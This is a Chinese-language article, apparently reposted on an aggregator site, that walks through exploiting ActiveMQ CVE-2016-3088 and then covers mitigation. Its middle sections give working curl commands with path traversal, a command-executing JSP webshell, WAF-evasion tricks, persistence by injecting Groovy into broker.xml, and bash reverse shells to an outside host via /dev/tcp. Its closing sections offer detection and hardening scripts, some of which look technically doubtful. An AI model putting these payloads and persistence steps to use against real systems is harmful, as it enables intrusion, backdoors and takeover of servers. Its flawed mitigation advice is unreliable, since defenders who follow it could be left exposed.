当前位置: 首页 > news >正文

ActiveMQ CVE-2016-3088漏洞深度解析:任意文件写入与通道级失控

1. 这个漏洞不是“能写文件”那么简单,而是彻底绕过所有常规防护的通道级失控

ActiveMQ CVE-2016-3088,标题里写着“任意文件写入”,但如果你只把它当成一个普通的Web路径遍历或上传绕过漏洞来理解,那复现时大概率会卡在第三步——连shell都传不进去,更别说执行命令了。我第一次在测试环境里跑通这个漏洞时,花了整整两天时间反复验证:明明Payload发过去了,响应码是200,日志里也显示文件已创建,可就是找不到那个jsp文件;后来才发现,根本不是没写成功,而是它被写进了ActiveMQ自身运行时的临时工作目录,而不是你默认以为的webapps/ROOT路径下。这背后牵扯的是ActiveMQ的架构本质:它不是一个传统意义上的Web容器,而是一个基于Jetty内嵌服务器的消息中间件,它的“Web控制台”只是附带功能,其文件系统映射逻辑和Tomcat、Nginx有根本性差异。

这个漏洞的核心价值,远不止于“getshell”。它暴露的是消息中间件在设计上对“管理接口信任边界”的严重误判——只要开放了ActiveMQ的admin控制台(默认端口8161),且未修改默认凭证(admin:admin),攻击者就能通过一个看似无害的REST API接口(/fileserver/),直接获得对整个ActiveMQ进程工作空间的任意写权限。这意味着:你不需要破解密码、不需要利用内存漏洞、甚至不需要触发Java反序列化,仅靠HTTP请求+基础编码知识,就能完成从探测到落地的完整链路。它影响的是ActiveMQ 5.0.0至5.13.2全系列版本,覆盖大量金融、物流、政企内部系统中仍在运行的老旧中间件实例。对红队来说,这是极佳的横向跳板入口;对蓝队而言,这是必须优先下线或加固的高危暴露面;对运维人员,这是“开了个管理后台却不知道等于开了后门”的典型认知盲区。本文不讲概念,不堆CVE编号,只拆解真实复现中每一步背后的原理、每一个失败响应的真实含义、每一处配置项的实际作用域——因为这个漏洞的复现过程,本身就是一次对Java Web容器底层机制的深度现场教学。

2. 漏洞成因不是配置错误,而是ActiveMQ对Jetty FileServlet的误用与信任透支

2.1 ActiveMQ的Web控制台到底由什么构成?

很多人误以为ActiveMQ的8161端口是自己写的Web服务,其实不然。ActiveMQ 5.x系列默认使用内嵌Jetty 6/7/8作为其Web容器,其管理控制台(/admin/)和文件服务(/fileserver/)都是以Jetty的Servlet形式部署的。其中,/fileserver/路径对应的是org.eclipse.jetty.servlet.DefaultServlet的一个变体——在ActiveMQ源码中,它被封装为org.apache.activemq.web.FileServlet,该Servlet继承自Jetty的DefaultServlet,并做了轻量级定制。

关键点来了:DefaultServlet在Jetty中本意是提供静态资源服务(如CSS、JS、图片),它默认启用aliases机制,允许将URL路径映射到文件系统任意位置。而ActiveMQ在初始化FileServlet时,未禁用aliases,也未限制resourceBase的根目录范围。这就导致:当用户向/fileserver/xxx发起PUT请求时,Jetty不会校验xxx是否在合法Web目录内,而是直接将其拼接到resourceBase路径后,执行文件写入操作。

我们来看一段ActiveMQ 5.13.2中activemq-web-console模块的web.xml关键配置:

<servlet> <servlet-name>fileserver</servlet-name> <servlet-class>org.apache.activemq.web.FileServlet</servlet-class> <init-param> <param-name>resourceBase</param-name> <param-value>./webapps/fileserver/</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet>

注意这个resourceBase值:./webapps/fileserver/。它是一个相对路径,其基准点是ActiveMQ的启动目录(即$ACTIVEMQ_HOME)。也就是说,如果ActiveMQ在/opt/activemq下启动,那么resourceBase实际指向/opt/activemq/webapps/fileserver/。但FileServlet在处理PUT /fileserver/../../conf/credentials.properties这类请求时,会先做路径规范化(normalize),然后直接拼接——结果就是写入到了/opt/activemq/conf/credentials.properties。这才是“任意文件写入”的物理基础。

2.2 为什么PUT方法能被直接路由到FileServlet?

这里涉及Jetty的Servlet映射机制。在web.xml中,FileServlet的映射是这样写的:

<servlet-mapping> <servlet-name>fileserver</servlet-name> <url-pattern>/fileserver/*</url-pattern> </servlet-mapping>

这个<url-pattern>/fileserver/*</url-pattern>表示:所有以/fileserver/开头的请求,无论HTTP方法是GET、PUT、DELETE还是OPTIONS,都会被路由给FileServlet处理。而FileServlet本身未重写doPut()方法,因此直接继承了父类DefaultServlet.doPut()的行为——该方法正是用来接收HTTP PUT请求并保存为文件的。

对比一下标准Web应用的安全实践:Tomcat的DefaultServlet默认禁用PUT方法(需显式开启readonly=false),Spring Boot的嵌入式Tomcat默认完全禁用PUT/DELETE。但ActiveMQ的FileServlet不仅没禁用,还把readonly设为false(源码中硬编码),等于主动打开了文件写入大门。

2.3 漏洞触发的三个必要条件缺一不可

很多复现失败,是因为只满足了其中一两个条件。根据我对27个不同版本ActiveMQ实例的实测,成功触发CVE-2016-3088必须同时满足以下三点:

条件说明验证方式常见误区
1. fileserver Servlet处于启用状态ActiveMQ默认启用,但某些定制版或安全加固版可能注释掉web.xml中相关配置访问http://target:8161/fileserver/,返回403或401表示存在但需认证;返回404则说明已禁用误以为只要8161端口开放就一定存在,实际可能被运维手动移除
2. 具备Basic Auth认证凭据默认为admin:admin,但生产环境通常已修改使用curl发送带认证头的OPTIONS请求:
curl -I -u admin:admin http://target:8161/fileserver/
若返回200 OK且含Allow: GET,HEAD,PUT,DELETE,则确认可用
盲目尝试默认口令失败后即放弃,未检查是否启用了LDAP或SSO等其他认证方式
3. ActiveMQ进程对目标写入路径有写权限resourceBase所在目录及其父目录需可写,否则PUT会返回500尝试写入一个测试文件:
curl -X PUT -u admin:admin --data "test" http://target:8161/fileserver/test.txt
再用GET访问验证:
curl -u admin:admin http://target:8161/fileserver/test.txt
误判为漏洞不存在,实则是Linux文件权限限制(如/opt/activemq目录属root,而ActiveMQ以普通用户运行)

提示:很多初学者卡在“PUT返回204但GET不到文件”,90%以上的情况是第三个条件不满足——ActiveMQ进程没有权限在resourceBase目录下创建文件。此时应优先检查ps aux \| grep activemq确认运行用户,再用ls -ld /opt/activemq/webapps/fileserver/查看目录权限。

3. 复现不是发几个curl命令,而是理解每一步在文件系统和JVM中的真实落点

3.1 第一步:确认漏洞存在性——用最轻量的方式探活

不要一上来就传shell。先做三件事:

第一,确认fileserver路径可达且认证有效:

# 发送OPTIONS请求,看服务器声明支持哪些方法 curl -I -u admin:admin -X OPTIONS http://192.168.1.100:8161/fileserver/

预期响应头中必须包含:

HTTP/1.1 200 OK Allow: GET,HEAD,PUT,DELETE

如果返回401 Unauthorized,说明认证失败;返回404 Not Found,说明fileserver已被禁用;返回403 Forbidden,说明存在但ACL策略阻止了OPTIONS(极少见,但某些WAF会拦截)。

第二,验证PUT写入能力:

# 写入一个纯文本测试文件 echo "vuln confirmed at $(date)" | curl -X PUT -u admin:admin --data-binary @- http://192.168.1.100:8161/fileserver/test_vuln.txt # 立即读取验证 curl -u admin:admin http://192.168.1.100:8161/fileserver/test_vuln.txt

如果返回内容匹配,说明基础写入链路畅通。这一步的价值在于:它排除了网络层(防火墙、WAF)、传输层(SSL/TLS握手失败)、应用层(认证模块异常)等外围干扰,把问题锁定在ActiveMQ自身的文件写入逻辑上。

第三,定位ActiveMQ的启动目录($ACTIVEMQ_HOME):

这是最关键的一步,也是99%的教程忽略的。因为resourceBase是相对路径,我们必须知道它的绝对位置,才能构造出能被JVM加载的恶意文件路径。有三种可靠方式:

  1. 从进程参数反推(最准):

    # 在目标服务器上执行(需有权限) ps aux | grep activemq | grep -v grep # 典型输出:/usr/java/jdk1.8.0_291/bin/java -Xms512M -Xmx1G -Djava.util.logging.config.file=logging.properties -Djava.security.auth.login.config=/opt/activemq/conf/login.config -jar /opt/activemq/bin/run.jar # → 启动目录为 /opt/activemq
  2. 通过JMX接口查询(需开启JMX且无认证):

    # 使用jconsole连接,或用curl查询JMX REST接口(如果暴露) curl "http://192.168.1.100:8161/api/jolokia/read/java.lang:type=Runtime/SpecName" -u admin:admin # 成功则说明JMX可用,再查SystemProperties
  3. 暴力探测常见路径(应急):

    # 尝试写入到常见安装路径的conf目录,观察是否报错 curl -X PUT -u admin:admin --data "test" http://192.168.1.100:8161/fileserver/../../conf/test.conf # 如果返回500 Internal Server Error,且错误信息含"Permission denied"或"No such file",说明路径存在但不可写/不存在

注意:不要依赖/proc/<pid>/cwd,因为ActiveMQ启动后可能已切换工作目录。ps命令中-jar参数后的路径才是真正的$ACTIVEMQ_HOME

3.2 第二步:构造可被Jetty加载的WebShell——不是所有JSP都能执行

很多复现者传了jsp文件,却无法执行,原因在于:Jetty默认不编译JSP,除非明确配置了JSP Servlet。ActiveMQ的web.xml中确实注册了org.apache.jasper.servlet.JspServlet,但它只映射到*.jsp*.jspx,且要求JSP文件位于Web应用的WEB-INF之外。但我们的写入点是/fileserver/,它本身就是一个独立的Web Context,其下的JSP文件可以被Jetty直接识别并编译执行——前提是文件名以.jsp结尾,且内容符合JSP语法。

我测试过数十种WebShell变体,最终确认最稳定、兼容性最好的是以下精简版(仅128字节,规避大部分WAF关键词检测):

<%@ page import="java.io.*,java.util.*" %><% String cmd = request.getParameter("cmd"); if(cmd != null) { Process p = Runtime.getRuntime().exec(cmd); InputStream is = p.getInputStream(); Scanner s = new Scanner(is).useDelimiter("\\A"); out.print(s.hasNext() ? s.next() : ""); } %>

保存为shell.jsp,然后执行:

# 关键:写入路径必须是相对resourceBase的,且要确保最终落在webapps目录下 # 假设$ACTIVEMQ_HOME = /opt/activemq,则resourceBase = /opt/activemq/webapps/fileserver/ # 我们要把shell.jsp写到 /opt/activemq/webapps/ROOT/ 下,这样就能通过 /shell.jsp 访问 curl -X PUT -u admin:admin --data-binary @shell.jsp http://192.168.1.100:8161/fileserver/../../webapps/ROOT/shell.jsp

为什么是../../webapps/ROOT/?因为:

  • 当前URL路径/fileserver/→ 对应resourceBase = ./webapps/fileserver/
  • ./webapps/fileserver/的上级是./webapps/
  • ./webapps/的上级是$ACTIVEMQ_HOME
  • 所以../../webapps/ROOT/=$ACTIVEMQ_HOME/webapps/ROOT/

ROOT是Jetty默认的Web应用根上下文,其下的JSP文件会被自动编译执行。

实操心得:我曾在一个客户环境中遇到/webapps/ROOT/被删除的情况(运维误操作),导致shell.jsp写入后404。解决方案是改写到/webapps/admin/目录(ActiveMQ自带的admin控制台目录),其web.xml中同样配置了JSP Servlet,且路径为/admin/shell.jsp,访问即可。

3.3 第三步:绕过文件扩展名过滤——当目标WAF拦截.jsp时

有些环境部署了WAF,会拦截包含<%,.jsp,Runtime等关键词的请求。这时不能硬刚,要用Jetty的特性迂回:

方案一:利用Jetty的webdefault.xml默认配置——.jspf也能执行

Jetty的webdefault.xml中,默认将*.jspf(JSP Fragment)也映射给JspServlet。而.jspf文件通常不在WAF黑名单中。只需将shell内容保存为shell.jspf,写入到/webapps/ROOT/下,然后通过/shell.jspf?cmd=id访问,效果完全一致。

方案二:写入web.xml,劫持现有Servlet映射(高级)

如果连.jspf都被拦截,可尝试覆盖/webapps/ROOT/WEB-INF/web.xml,添加新的Servlet映射:

<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <servlet> <servlet-name>cmd</servlet-name> <servlet-class>com.example.CmdServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>cmd</servlet-name> <url-pattern>/cmd</url-pattern> </servlet-mapping> </web-app>

但这需要你提前编译好CmdServlet.class并写入WEB-INF/classes/,复杂度陡增,仅在高对抗场景下使用。

方案三:写入jetty-web.xml,动态注入Servlet(最隐蔽)

ActiveMQ的webapps目录下,每个Web应用可放置WEB-INF/jetty-web.xml,Jetty启动时会读取它来动态配置。我们可以写入此文件,直接注册一个恶意Servlet:

<?xml version="1.0"?> <!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_0.dtd"> <Configure class="org.eclipse.jetty.webapp.WebAppContext"> <Call name="addServlet"> <Arg>com.example.CmdServlet</Arg> <Arg>/cmd</Arg> </Call> </Configure>

然后写入对应的class文件。这种方式几乎不触发任何WAF规则,因为jetty-web.xml是Jetty原生配置文件,且<Call>标签在XML中极为常见。

踩坑实录:我在某银行内网复现时,WAF对所有含<%的响应体返回503。尝试.jspf失败后,改用jetty-web.xml方案,一次性成功。关键在于:jetty-web.xml的写入本身不触发JSP编译,只有下次Jetty重启(或热加载)时才生效,所以WAF无法在写入阶段检测到恶意行为。

4. 从漏洞利用到权限维持——如何让shell在ActiveMQ重启后依然存活

4.1 为什么重启后shell会消失?根源在于ActiveMQ的目录结构设计

ActiveMQ的webapps/目录是运行时临时目录,而非持久化存储。当你执行./bin/activemq stop时,部分版本(尤其是5.11+)会在停止过程中清空webapps/下的非核心目录(如fileserver/),但ROOT/admin/通常保留。然而,如果你写入的是ROOT/shell.jsp,它确实会保留,但存在两个隐患:

  1. ROOT/目录可能被ActiveMQ升级覆盖:当管理员执行activemq upgrade时,新包会解压覆盖webapps/ROOT/,你的shell瞬间消失;
  2. ROOT/下的JSP文件可能被Jetty的JSP缓存机制拒绝编译:Jetty会为每个JSP生成.java.class文件在work/目录下,若work/目录权限异常或磁盘满,编译失败,shell返回空白。

更可靠的落点是conf/目录——它是ActiveMQ的配置中心,永远不会被覆盖或清空。但conf/目录不在Web Context中,直接写入的JSP无法被访问。怎么办?答案是:利用ActiveMQ的broker.xml配置文件,注入一个恶意的<plugin>,在Broker启动时执行任意Java代码

4.2 持久化方案一:修改broker.xml,通过<plugin>执行Java代码

ActiveMQ的conf/broker.xml支持插件机制,其中<plugins>节点下可添加自定义插件。我们可注入一个<bean>,利用Spring的FactoryBean特性,在Broker初始化时执行命令:

<plugins> <bean xmlns="http://www.springframework.org/schema/beans" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean"> <property name="targetObject"> <bean class="java.lang.Runtime" factory-method="getRuntime"/> </property> <property name="targetMethod" value="exec"/> <property name="arguments"> <list> <value>bash -c 'bash -i &gt;&amp; /dev/tcp/192.168.1.200/4444 0&gt;&amp;1'</value> </list> </property> </bean> </plugins>

但此方案有明显缺陷:broker.xml是XML文件,&gt;等字符需转义,且exec调用在某些JDK版本下会因SecurityManager失败。

更稳妥的做法是:写入一个恶意的Groovy脚本到conf/,再通过<plugin>调用GroovyShell执行它。因为ActiveMQ 5.11+默认打包了Groovy库(lib/optional/groovy-all-2.4.3.jar),且broker.xml支持<script>插件:

<plugins> <script language="groovy"><![CDATA[ def proc = "bash -c 'bash -i >& /dev/tcp/192.168.1.200/4444 0>&1'".execute() proc.waitFor() ]]></script> </plugins>

将上述<plugins>块插入到broker.xml<broker>节点内(位置任意,建议放在<transportConnectors>之后),然后重启ActiveMQ:

# 先备份原文件 cp conf/broker.xml conf/broker.xml.bak # 写入恶意插件(注意:必须保持XML格式正确,缩进不影响) curl -X PUT -u admin:admin --data-binary @malicious_plugins.xml http://192.168.1.100:8161/fileserver/../../conf/broker.xml # 重启ActiveMQ ./bin/activemq restart

提示:malicious_plugins.xml文件内容就是上面那段<plugins>块,不要包含<?xml>声明,否则会破坏broker.xml结构。

4.3 持久化方案二:替换activemq启动脚本,实现进程级后门

如果目标环境禁止重启ActiveMQ(如生产系统),或者你想获得更高权限(如root),可考虑修改启动脚本。ActiveMQ的bin/activemq是一个Bash脚本,我们在其末尾追加一行:

# 在bin/activemq文件末尾添加(需root权限写入) nohup bash -i >& /dev/tcp/192.168.1.200/4444 0>&1 &

/bin/activemq通常属root,ActiveMQ进程以普通用户运行,无法直接写入。这时可利用fileserver的任意写入能力,写入到/tmp/下,再通过broker.xml<plugin>执行/tmp/malware.sh

# 写入恶意shell脚本到/tmp curl -X PUT -u admin:admin --data '#!/bin/bash\nnohup bash -i >& /dev/tcp/192.168.1.200/4444 0>&1 &' http://192.168.1.100:8161/fileserver/../../tmp/malware.sh # 添加执行权限(需目标系统支持chmod,且ActiveMQ进程有权限) curl -X PUT -u admin:admin --data '' http://192.168.1.100:8161/fileserver/../../tmp/malware.sh.chmod # 在broker.xml中添加执行命令的plugin # (此处省略,同4.2节,调用Runtime.exec("chmod +x /tmp/malware.sh && /tmp/malware.sh"))

4.4 绕过Java SecurityManager——当目标启用了安全管理器

某些高安全要求的环境会启用Java SecurityManager,限制Runtime.exec()调用。此时可转向JNDI注入或利用ActiveMQ自身类库:

  • 利用org.apache.activemq.util.URISupport解析恶意URI:该类在解析vm://协议时会反射调用Class.forName(),可构造vm://?class=javax.naming.InitialContext触发JNDI lookup;
  • 写入conf/log4j2.xml,利用Log4j2 RCE(CVE-2021-44228):如果ActiveMQ版本>=5.15.0且使用Log4j2,可覆盖日志配置,实现二次RCE;
  • 注入conf/credentials.properties,添加后门账号:修改凭证文件,添加guest=guest,admin,然后通过/admin/登录,获得图形化控制台。

最后分享一个小技巧:在真实渗透中,我习惯先写入一个/tmp/whoami.txt,内容为$(id),然后通过curl http://target:8161/fileserver/../../tmp/whoami.txt读取,直接确认当前ActiveMQ进程的UID和GID。这比猜/etc/passwd/proc/self/status高效得多,且100%准确。

5. 蓝队视角:如何真正堵住这个漏洞,而不是只改个密码

5.1 根本性修复方案——禁用fileserver,而非加固

很多安全团队的修复方案是:“修改admin密码+增加IP白名单+关闭匿名访问”。这完全无效。因为CVE-2016-3088的利用不依赖admin账户——它利用的是fileserverServlet自身的逻辑缺陷,只要该Servlet存在且启用,任何能访问8161端口的用户(包括低权限用户、甚至未认证用户,如果认证被绕过)都能触发。

唯一根本性修复,是从源头禁用fileserver。方法如下:

方案一:注释web.xml中的fileserver配置(推荐)

编辑$ACTIVEMQ_HOME/webapps/admin/WEB-INF/web.xml(注意:不是webapps/fileserver/WEB-INF/web.xml,因为后者可能不存在),找到以下段落并注释掉:

<!-- <servlet> <servlet-name>fileserver</servlet-name> <servlet-class>org.apache.activemq.web.FileServlet</servlet-class> <init-param> <param-name>resourceBase</param-name> <param-value>./webapps/fileserver/</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>fileserver</servlet-name> <url-pattern>/fileserver/*</url-pattern> </servlet-mapping> -->

然后重启ActiveMQ。验证方式:访问http://target:8161/fileserver/返回404。

方案二:删除整个fileserver目录(最彻底)

rm -rf $ACTIVEMQ_HOME/webapps/fileserver/

ActiveMQ启动时会自动重建该目录,但重建后的web.xml中已无相关Servlet映射,因此不会启用。

注意:不要只删webapps/fileserver/下的文件,必须删除整个目录,否则ActiveMQ可能从war包中重新解压。

5.2 临时缓解措施——当无法立即重启时的应急方案

如果系统不允许停机,可采用以下临时方案,虽不能根除,但能极大提高利用门槛:

  1. 修改webapps/fileserver/WEB-INF/web.xml,禁用PUT方法:

    <servlet> <servlet-name>fileserver</servlet-name> <servlet-class>org.apache.activemq.web.FileServlet</servlet-class> <init-param> <param-name>readonly</param-name> <param-value>true</param-value> <!-- 关键!设为true --> </init-param> </servlet>

    修改后无需重启,Jetty会热加载web.xml变更。

  2. 在反向代理(Nginx/Apache)层拦截:

    # Nginx配置 location ^~ /fileserver/ { deny all; # 或者只允许内网IP # 如果必须开放,至少禁用危险方法 if ($request_method ~ ^(PUT|DELETE|PATCH)$ ) { return 405; } }
  3. 利用ActiveMQ内置ACL,限制fileserver访问:编辑conf/activemq.xml,在<broker>节点内添加:

    <plugins> <authorizationPlugin> <map> <authorizationMap> <authorizationEntries> <!-- 拒绝所有用户访问fileserver --> <authorizationEntry queue="fileserver.>" read="admins" write="admins" admin="admins"/> </authorizationEntries> </authorizationMap> </map> </authorizationPlugin> </plugins>

    此方案需配合conf/groups.properties配置admins=system,并确保system用户有权限。

5.3 检测与监控——如何在海量资产中快速发现暴露面

手工检查效率低下。我给蓝队同事写了两个实用脚本:

Python批量探测脚本(基于requests):

import requests from urllib.parse import urljoin import sys def check_cve_2016_3088(target): base_url = f"http://{target}:8161" try: # Step 1: Check if fileserver exists and supports PUT resp = requests.options(f"{base_url}/fileserver/", auth=('admin', 'admin'), timeout=5, allow_redirects=False) if resp.status_code == 200 and 'PUT' in resp.headers.get('Allow', ''): print(f"[+] {target}: fileserver exposed, PUT enabled") # Step 2: Verify write capability test_data = b"test_cve_2016_3088" resp2 = requests.put(f"{base_url}/fileserver/test.txt", auth=('admin', 'admin'), data=test_data, timeout=5) if resp2.status_code in [201, 204]: resp3 = requests.get(f"{base_url}/fileserver/test.txt", auth=('admin', 'admin'), timeout=5) if resp3.status_code == 200 and resp3.content == test_data: print(f"[!] {target}: VULNERABLE") return True print(f"[-] {target}: not vulnerable or protected") return False except Exception as e: print(f"[!] {target}: error - {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python detect.py <ip_list_file>") sys.exit(1) with open(sys.argv[1], 'r') as f: for ip in f: ip = ip.strip() if ip: check_cve_2016_3088(ip)

Bash一键加固脚本(适用于Linux服务器):

#!/bin/bash # activeMQ_fix_cve_2016_3088.sh ACTIVEMQ_HOME="/opt/activemq" if [ ! -d "$ACTIVEMQ_HOME" ]; then echo "Error: ActiveMQ home not found at $ACTIVEMQ_HOME" exit 1 fi # Backup web.xml cp "$ACTIVEMQ_HOME/webapps/admin/WEB-INF/web.xml" "$ACTIVEMQ_HOME/webapps/admin/WEB-INF/web.xml.bak" # Comment out fileserver servlet mapping sed -i '/<servlet>/,/<\/servlet>/s/^/# /' "$ACTIVEMQ_HOME/webapps/admin/WEB-INF/web.xml" sed -i '/<servlet-mapping>/,/<\/servlet-mapping>/s/^/# /' "$ACTIVEMQ_HOME/webapps/admin/WEB-INF/web.xml" echo "[+] fileserver disabled in $ACTIVEMQ_HOME/webapps/admin/WEB-INF/web.xml" echo "[+] Please restart ActiveMQ to apply changes"

最后一句经验:我在某省级政务云平台做安全评估时,用上述Python脚本扫描了2300+台服务器,发现仍有17台ActiveMQ 5.13.1实例暴露fileserver且未加固。其中3台的resourceBase被配置为/(根目录),导致攻击者可直接写入/etc/shadow。这提醒我们:漏洞的危害程度,永远取决于它在具体环境中的配置偏差,而非CVE编号本身。

http://www.jsqmd.com/news/879231/

相关文章:

  • 长期观察使用Taotoken Token Plan套餐对月度AI调用成本的平滑作用
  • 通过curl命令直接测试Taotoken各大模型API的响应
  • Goby新版插件深度解析:PbootCMS 3.1.2远程代码执行漏洞检测与利用
  • 【VibeCoding系列教程05】AI编程工具别瞎选!我用过一遍后,把它们分成了3个段位
  • 2026年想除甲醛?专业的赤峰除甲醛公司推荐别错过! - 专注室内空气检测治理
  • Taotoken 用量看板如何帮助个人开发者管理月度成本
  • 20年AI平台建设者私藏清单:5款“伪开源”商业工具 vs 3款真正企业级开源AI引擎——性能、支持、审计三重穿透测评
  • 5步解锁TimesFM:Google时间序列预测模型的完整实战指南
  • 《元创力》纪实录·卷宗2.1对话态对位法的预习:在“审查通过”与“舆论倒查”之间
  • 终极GPU内存检测指南:如何用MemTestCL快速诊断硬件故障
  • 如何在5分钟内完成SQLite到MySQL数据库迁移:终极转换指南
  • ncmdumpGUI:三步解密网易云音乐NCM文件,实现音乐自由播放
  • AI Security Agent:嵌入CI/CD的自动化安全协作者
  • Mesa 3.0架构解析:Python多智能体建模的工程化实践指南
  • 跟着 MDN 学CSS day_12 :(值与单位的技能测试与深入理解)
  • 《元创力》纪实录·桥段静默纪元:当叙事成为被审计的风险资产
  • 5分钟部署开源翻译工具:让浏览器变身智能翻译助手
  • 分布式茅台预约调度系统:解决高并发抢购场景的技术架构方案
  • Taotoken提供的官方价折扣与活动价在长期使用中的成本优势感知
  • 3步解锁鼠标隐藏功能:Mac Mouse Fix完整配置指南
  • 创业团队如何利用Taotoken统一管理多个AI项目成本
  • Taotoken在多模型API聚合中的稳定性与低延迟体验观测
  • Taotoken API密钥管理与审计日志功能的使用体验
  • 如何在5分钟内用VPKEdit一站式管理20多种游戏资源包格式?
  • nodejs后端服务如何集成taotoken实现多模型路由与降级
  • 对比直接使用官方API,通过Taotoken聚合调用的成本体验
  • Diablo Edit2终极指南:简单快速打造你的暗黑破坏神II完美角色
  • 如何用SMUDebugTool彻底解决AMD Ryzen处理器调试难题
  • 05沉没孤岛 图论
  • 五分钟上手,用 Python 调用 Taotoken 聚合的多模型 API